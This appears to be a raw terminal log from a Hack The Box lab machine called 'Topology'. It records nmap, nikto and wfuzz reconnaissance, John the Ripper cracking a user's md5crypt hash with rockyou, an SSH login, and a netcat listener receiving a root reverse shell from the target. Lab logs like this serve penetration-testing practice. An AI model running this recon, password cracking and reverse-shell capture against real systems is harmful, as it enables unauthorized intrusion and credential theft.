$ sudo nmap -p- --min-rate=10000 10.10.11.217 Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-15 03:45 EDT Nmap scan report for topology.htb (10.10.11.217) Host is up (0.096s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 7.81 seconds
$ sudo nmap -sT -sV -sC -O -p22,80 10.10.11.217 Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-15 03:45 EDT Nmap scan report for topology.htb (10.10.11.217) Host is up (0.074s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 dc:bc:32:86:e8:e8:45:78:10:bc:2b:5d:bf:0f:55:c6 (RSA) | 256 d9:f3:39:69:2c:6c:27:f1:a9:2d:50:6c:a7:9f:1c:33 (ECDSA) |_ 256 4c:a6:50:75:d0:93:4f:9c:4a:1b:89:0a:7a:27:08:d7 (ED25519) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: Miskatonic University | Topology Group Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Aggressive OS guesses: Linux 5.0 (97%), Linux 4.15 - 5.8 (96%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.5 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%) No exact OS matches for host (test conditions non-ideal). Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 16.26 seconds
$ sudo nmap --script=vuln 10.10.11.217 Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-15 03:47 EDT Pre-scan script results: | broadcast-avahi-dos: | Discovered hosts: | 224.0.0.251 | After NULL UDP avahi packet DoS (CVE-2011-1002). |_ Hosts are all up (not vulnerable). Nmap scan report for topology.htb (10.10.11.217) Host is up (0.079s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http |_http-dombased-xss: Couldn't find any DOM based XSS. |_http-csrf: Couldn't find any CSRF vulnerabilities. |_http-stored-xss: Couldn't find any stored XSS vulnerabilities. | http-enum: | /css/: Potentially interesting directory w/ listing on 'apache/2.4.41 (ubuntu)' |_ /images/: Potentially interesting directory w/ listing on 'apache/2.4.41 (ubuntu)'
Nmap done: 1 IP address (1 host up) scanned in 662.23 seconds
$ sudo nikto -h 10.10.11.217 - Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 10.10.11.217 + Target Hostname: 10.10.11.217 + Target Port: 80 + Start Time: 2023-07-15 04:12:04 (GMT-4) --------------------------------------------------------------------------- + Server: Apache/2.4.41 (Ubuntu) + /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ + No CGI Directories found (use '-C all' to force check all possible dirs) + Apache/2.4.41 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch. + /: Server may leak inodes via ETags, header found with file /, inode: 1a6f, size: 5f27900124a8b, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418 + OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS, HEAD . + /css/: Directory indexing found. + /css/: This might be interesting. + /images/: Directory indexing found. + 8074 requests: 0 error(s) and 8 item(s) reported on remote host + End Time: 2023-07-15 04:23:51 (GMT-4) (707 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
$ wfuzz -H "Host: FUZZ.topology.htb" --hc 404,403 --hw 545 -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt http://topology.htb /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not wor k correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ********************************************************
Target: http://topology.htb/ Total requests: 4989
===================================================================== ID Response Lines Word Chars Payload =====================================================================
000000019: 401 14 L 54 W 463 Ch "dev" 000000061: 200 5 L 9 W 108 Ch "stats"
$sudo john rawpass --wordlist=/usr/share/wordlists/rockyou.txt Created directory: /root/.john Warning: detected hashtype"md5crypt", but the string is also recognized as "md5crypt-long" Use the "--format=md5crypt-long" option to force loading these as that type instead Using default input encoding: UTF-8 Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 128/128 AVX 4x3]) Will run 2 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status ********** (vdaisley) 1g 0:00:00:13 DONE (2023-07-15 05:24) 0.07320g/s 72885p/s 72885c/s 72885C/s calebd1..calacho Use the "--show" option to display all of the cracked passwords reliably Session completed.
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates. See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old. To check for new updates run: sudo apt update Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Sat Jul 15 05:05:23 2023 from 10.10.14.187 vdaisley@topology:~$
$sudo nc -lvp 443 listening on [any] 443 ... connect to [HTB-VPN-IP] from topology.htb [10.10.11.217] 34712 bash: cannot set terminal process group (94662): Inappropriate ioctl for device bash: no job control in this shell root@topology:~#
